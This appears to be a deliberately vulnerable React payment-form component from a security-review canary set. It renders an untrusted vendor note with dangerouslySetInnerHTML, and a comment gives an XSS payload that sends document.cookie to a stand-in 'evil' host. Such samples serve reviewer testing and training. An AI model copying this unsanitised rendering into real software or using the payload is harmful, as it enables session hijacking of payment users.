security-review/canary/web/PaymentForm.jsx

import React from "react";

export default function PaymentForm({ note, amount }) {
  // A note of `<img src=x onerror=fetch('//evil/?c='+document.cookie)>` executes in the user's session.
  return (
    <div className="payment-form">
      <h2>Confirm payment of ${amount}</h2>
      <div
        className="vendor-note"
        dangerouslySetInnerHTML={{ __html: note }}
      />
      <button type="submit">Pay</button>
    </div>
  );
}